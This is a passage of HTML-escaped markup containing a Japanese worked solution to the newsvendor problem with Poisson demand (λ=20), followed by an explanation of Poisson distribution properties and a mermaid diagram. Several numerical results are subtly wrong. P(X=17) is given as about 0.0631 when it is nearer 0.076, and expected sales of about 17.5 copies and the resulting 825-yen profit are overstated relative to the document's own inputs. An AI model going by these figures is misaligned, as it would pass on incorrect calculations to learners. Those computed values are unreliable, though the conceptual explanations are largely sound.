&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;P(X = &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;) = &lt;/span&gt;&lt;span&gt;20&lt;/span&gt;&lt;span&gt;e^{-&lt;/span&gt;&lt;span&gt;20&lt;/span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;4.122&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;^{-&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;}$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;P(X = &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;) = &lt;/span&gt;&lt;span&gt;200&lt;/span&gt;&lt;span&gt;e^{-&lt;/span&gt;&lt;span&gt;20&lt;/span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;4.122&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;^{-&lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt;}$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; ...（中略）...&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;P(X = &lt;/span&gt;&lt;span&gt;17&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;0.0631&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;（与えられた累積分布関数から逆算）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;P(X &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;geq &lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt;) = &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; - F(&lt;/span&gt;&lt;span&gt;17&lt;/span&gt;&lt;span&gt;) = &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;0.2970&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;0.7030&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;期待売上部数の正確な計算：&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;begin&lt;/span&gt;&lt;span&gt;{aligned}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min(&lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt;, X)] &amp;amp;= &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{x=&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;}^{&lt;/span&gt;&lt;span&gt;17&lt;/span&gt;&lt;span&gt;} x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot P(X = x) + &lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;0.7030&lt;/span&gt;&lt;span&gt; \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;0.0000&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;0.0000&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdots + &lt;/span&gt;&lt;span&gt;17&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;0.0631&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;0.7030&lt;/span&gt;&lt;span&gt; \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;17.5&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{ 部}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;end&lt;/span&gt;&lt;span&gt;{aligned}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;より効率的な計算方法として、ポアソン分布の性質を用いると：&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min(&lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt;, X)] = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{x=&lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt;}^{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;infty} (x-&lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot P(X = x) = &lt;/span&gt;&lt;span&gt;20&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{x=&lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt;}^{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;infty} (x-&lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot P(X = x)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ただし、実用的には最初の式（$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{x=&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;}^{&lt;/span&gt;&lt;span&gt;17&lt;/span&gt;&lt;span&gt;} x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot P(X = x) + &lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot P(X &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;geq &lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt;)$&lt;/span&gt;&lt;span&gt;）を用いて計算する方が容易である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;簡易計算として、平均来客数が20人であることから、期待売上部数は約17.5部と概算できる。これは、発注量18部が平均需要20部より少ないため、一部の需要が満たされないことを反映している。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 答え&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**クリティカル比率**&lt;/span&gt;&lt;span&gt;: $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{a-c}{a} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;0.3333&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**最適発注数量**&lt;/span&gt;&lt;span&gt;: $&lt;/span&gt;&lt;span&gt;Q^* = &lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; 部&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**期待売上部数の概算**&lt;/span&gt;&lt;span&gt;: $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min(&lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt;, X)] &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;17.5&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; 部&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 検証&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;最適発注数量18部の場合、期待利益は：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Pi(&lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt;)] = a &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min(&lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt;, X)] - c &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;150&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;17.5&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;625&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;800&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;825&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{ 円}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;この結果から、1日あたり平均約825円の利益が期待できる。クリティカル比率が $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;}$&lt;/span&gt;&lt;span&gt; であることから、売れ残り損失（100円/部）が機会損失（50円/部）より大きいため、保守的な発注（平均需要20部より少ない18部）が最適となる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## ポアソン分布による需要モデル&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### ポアソン分布の定義&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;来客数（需要）$&lt;/span&gt;&lt;span&gt; X $&lt;/span&gt;&lt;span&gt; が&lt;/span&gt;&lt;span&gt;**ポアソン分布**&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{Poisson}(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda) $&lt;/span&gt;&lt;span&gt; に従うと仮定する。確率質量関数は：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### ポアソン分布の特徴と適用&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**図13: ポアソン分布の特徴と適用**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "ポアソン分布の性質"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A[ポアソン分布&amp;lt;br/&amp;gt;X~Poissonλ] --&amp;gt; B[平均と分散が等しい&amp;lt;br/&amp;gt;EX = VarX = λ]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A --&amp;gt; C[離散分布&amp;lt;br/&amp;gt;x = 0,1,2,3,...]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A --&amp;gt; D[独立増分性&amp;lt;br/&amp;gt;Independent Increments]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A --&amp;gt; E[定常増分性&amp;lt;br/&amp;gt;Stationary Increments]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "適用条件"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        F[単位時間あたりの&amp;lt;br/&amp;gt;ランダムな事象の発生] --&amp;gt; A&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        G[独立増分性&amp;lt;br/&amp;gt;定常増分性&amp;lt;br/&amp;gt;希少性] --&amp;gt; F&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "ポアソン過程と無記憶性"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        H[ポアソン過程&amp;lt;br/&amp;gt;Poisson Process] --&amp;gt; I[カウントNt&amp;lt;br/&amp;gt;Nt~Poissonλt&amp;lt;br/&amp;gt;独立増分性・定常増分性]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        H --&amp;gt; J[到着間隔時間T&amp;lt;br/&amp;gt;T~Exponentialλ&amp;lt;br/&amp;gt;無記憶性を持つ]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        J --&amp;gt; K[無記憶性&amp;lt;br/&amp;gt;Memoryless Property&amp;lt;br/&amp;gt;PT&amp;gt;s+t given T&amp;gt;s = PT&amp;gt;t]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "新聞売り子問題への適用"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A --&amp;gt; L[1日の来客数&amp;lt;br/&amp;gt;Daily Customer Count&amp;lt;br/&amp;gt;x~Poissonλ]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        L --&amp;gt; M[累積分布関数&amp;lt;br/&amp;gt;Fx = PX≤x]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        M --&amp;gt; N[最適発注数量&amp;lt;br/&amp;gt;FQ* = 1-c/a]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "パラメータ推定"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        O[観測データ&amp;lt;br/&amp;gt;x₁,x₂,...,xₙ] --&amp;gt; P[最尤推定&amp;lt;br/&amp;gt;λ̂ = x̄ = 1/n Σx_i]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        P --&amp;gt; A&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;P(X = x) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda^x e^{-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda}}{x!}, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad x = &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ldots, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda &amp;gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ここで $&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda $&lt;/span&gt;&lt;span&gt; は&lt;/span&gt;&lt;span&gt;**強度パラメータ**&lt;/span&gt;&lt;span&gt;（Intensity Parameter）であり、平均来客数に等しい。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### ポアソン分布の理論的基盤&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ポアソン分布は、&lt;/span&gt;&lt;span&gt;**ポアソン過程**&lt;/span&gt;&lt;span&gt;（Poisson Process）から自然に導出される。以下の条件を満たす確率過程をポアソン過程という：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**独立増分性**&lt;/span&gt;&lt;span&gt;（Independent Increments）：互いに重ならない時間区間での発生回数は独立&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**定常増分性**&lt;/span&gt;&lt;span&gt;（Stationary Increments）：時間区間の長さのみに依存&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**希少性**&lt;/span&gt;&lt;span&gt;（Rarity）：短い時間区間での複数回発生の確率は無視できる&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;これらの条件下で、単位時間あたりの平均発生率 $&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda $&lt;/span&gt;&lt;span&gt; に対して、時間区間 $&lt;/span&gt;&lt;span&gt; t $&lt;/span&gt;&lt;span&gt; での発生回数は $&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{Poisson}(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda t) $&lt;/span&gt;&lt;span&gt; に従う。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**注意**&lt;/span&gt;&lt;span&gt;：ポアソン分布自体は無記憶性を持たない。無記憶性を持つ分布は、離散分布では&lt;/span&gt;&lt;span&gt;**幾何分布**&lt;/span&gt;&lt;span&gt;、連続分布では&lt;/span&gt;&lt;span&gt;**指数分布**&lt;/span&gt;&lt;span&gt;のみである。ポアソン過程の文脈では、カウント $&lt;/span&gt;&lt;span&gt; N(t) $&lt;/span&gt;&lt;span&gt; の分布は $&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{Poisson}(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda t) $&lt;/span&gt;&lt;span&gt; で独立増分性・定常増分性を持つが、無記憶性は持たない。一方、到着間隔時間 $&lt;/span&gt;&lt;span&gt; T $&lt;/span&gt;&lt;span&gt; は指数分布 $&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{Exponential}(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda) $&lt;/span&gt;&lt;span&gt; に従い、こちらが無記憶性を持つ。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### ポアソン分布の性質&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ポアソン分布は単位時間あたりの発生回数をモデル化する離散分布であり、以下の性質を持つ：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**平均**&lt;/span&gt;&lt;span&gt;：$&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[X] = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda $&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**分散**&lt;/span&gt;&lt;span&gt;：$&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{Var}(X) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda $&lt;/span&gt;&lt;span&gt;（平均と分散が等しい）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**確率母関数**&lt;/span&gt;&lt;span&gt;（Probability Generating Function）：$&lt;/span&gt;&lt;span&gt; G_X(s) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[s^X] = e^{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda(s-&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;)} $&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**モーメント母関数**&lt;/span&gt;&lt;span&gt;（Moment Generating Function）：$&lt;/span&gt;&lt;span&gt; M_X(t) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[e^{tX}] = e^{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda(e^t-&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;)} $&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**確率の総和**&lt;/span&gt;&lt;span&gt;：$&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{x=&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;}^{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;infty} P(X = x) = &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**再生性**&lt;/span&gt;&lt;span&gt;（Reproductive Property）：独立な $&lt;/span&gt;&lt;span&gt; X_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sim &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{Poisson}(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;) $&lt;/span&gt;&lt;span&gt;、$&lt;/span&gt;&lt;span&gt; X_&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sim &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{Poisson}(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda_&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;) $&lt;/span&gt;&lt;span&gt; に対して、$&lt;/span&gt;&lt;span&gt; X_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; + X_&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sim &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{Poisson}(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda_&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;) $&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
